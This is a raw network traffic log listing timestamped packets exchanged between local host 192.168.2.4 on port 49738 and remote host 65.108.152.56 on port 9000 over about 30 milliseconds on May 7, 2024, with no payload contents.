May 7, 2024 05:29:02.565309048 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.565325022 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.565335989 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.565351963 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.565351963 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.565377951 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.565402985 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.565423965 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.565476894 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.566215992 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.566251040 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.566260099 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.566281080 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.566291094 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.566318035 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.566339016 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.566375017 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.566380978 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.566417933 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.567163944 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.567181110 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.567193031 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.567209005 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.567219973 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.567229986 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.567243099 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.567253113 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.567267895 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.567286968 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.568017006 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.568058014 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.568058968 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.568070889 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.568103075 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.568114042 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.568167925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.568181038 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.568208933 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.568227053 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.568975925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.569025040 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.569075108 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.569101095 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.569114923 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.569135904 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.569137096 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.569149017 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.569174051 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.569184065 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.569817066 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.569829941 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.569858074 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.569861889 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.569871902 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.569875956 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.569896936 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.569901943 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.569921017 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.569936991 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.570688963 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.570720911 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.570734024 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.570735931 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.570745945 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.570759058 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.570760012 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.570769072 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.570792913 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.570813894 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.571562052 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.571574926 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.571597099 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.571604967 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.571623087 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.571625948 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.571631908 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.571641922 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.571666956 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.571707010 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.572470903 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.572511911 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.572520971 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.572549105 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.572552919 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.572587967 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.572608948 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.572648048 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.572654009 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.572694063 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.573440075 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.573452950 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.573481083 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.573492050 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.573499918 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.573513985 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.573535919 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.573538065 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.573561907 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.573579073 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.574259996 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.574271917 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.574282885 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.574295998 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.574310064 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.574321985 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.574331999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.574351072 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.574377060 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.575088024 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.575100899 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.575112104 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.575124979 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.575133085 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.575143099 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.575150013 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.575166941 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.575200081 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.575961113 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.576020956 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.576042891 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.576066971 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.576081038 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.576082945 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.576133013 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.576133013 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.576153994 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.576189041 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.576879978 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.576921940 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.576921940 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.576935053 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.576947927 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.576962948 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.576970100 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.576982021 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.577006102 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.578058958 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.578074932 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.578087091 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.578099012 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.578103065 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.578110933 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.578116894 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.578141928 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.578167915 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.578463078 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.578505039 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.578537941 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.578550100 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.578567982 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.578576088 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.578588963 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.578604937 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.578617096 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.578653097 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.579339981 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.579364061 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.579375982 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.579377890 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.579401970 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.579411030 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.579421043 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.579432964 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.579459906 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.579473019 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.580178022 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.580210924 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.580218077 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.580224037 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.580249071 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.580265999 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.580269098 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.580310106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.580339909 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.580380917 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.581003904 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.581018925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.581044912 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.581053972 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.581065893 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.581080914 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.581103086 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.581104994 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.581124067 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.581137896 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.581825972 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.581839085 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.581866980 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.581887007 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.581890106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.581902027 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.581914902 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.581923962 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.581933022 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.581953049 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.582706928 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.582720041 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.582748890 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.582760096 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.582778931 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.582809925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.582814932 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.582844973 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.582850933 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.582880974 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.583525896 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.583555937 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.583566904 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.583585978 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.583592892 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.583599091 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.583611012 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.583623886 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.583642960 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.583653927 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.584423065 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.584435940 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.584448099 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.584460974 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.584467888 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.584474087 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.584486961 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.584516048 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.585263968 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.585308075 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.585369110 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.585381985 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.585392952 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.585406065 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.585412025 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.585423946 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.585441113 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.585963964 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.585978031 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.586004972 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.586011887 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.586030006 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.586036921 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.586047888 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.586060047 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.586072922 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.586082935 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.586095095 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.586119890 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.586937904 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.586977005 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.586987972 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.586988926 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.587033987 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.587047100 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.587070942 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.587090969 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.587109089 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.587133884 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.588073969 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.588087082 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.588104010 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.588121891 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.588134050 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.588151932 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.588499069 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.588510990 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.588537931 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.588542938 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.588555098 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.588557005 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.588577986 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.588579893 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.588599920 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.588601112 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.588609934 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.588644981 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.589428902 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.589468002 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.589481115 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.589499950 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.589514017 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.589515924 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.589562893 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.589570999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.589585066 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.589610100 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.589620113 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.589658022 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.590342999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.590393066 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.590399027 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.590411901 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.590424061 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.590435982 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.590449095 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.590450048 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.590464115 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.590492964 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.591264009 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.591303110 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.591310978 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.591316938 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.591331005 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.591358900 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.591366053 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.591378927 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.591392040 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.591414928 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.591430902 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.592210054 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.592235088 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.592251062 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.592263937 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.592286110 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.592294931 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.592310905 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.592318058 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.592322111 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.592334986 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.592365026 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.592392921 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.593219995 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.593266964 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.593270063 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.593282938 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.593295097 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.593310118 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.593322992 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.593323946 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.593336105 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.593348026 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.593384981 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.594139099 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.594167948 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.594203949 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.594212055 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.594223022 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.594240904 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.594254017 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.594275951 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.594293118 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.594299078 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.594327927 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.594352961 CEST	49738	9000	192.168.2.4	65.108.152.56
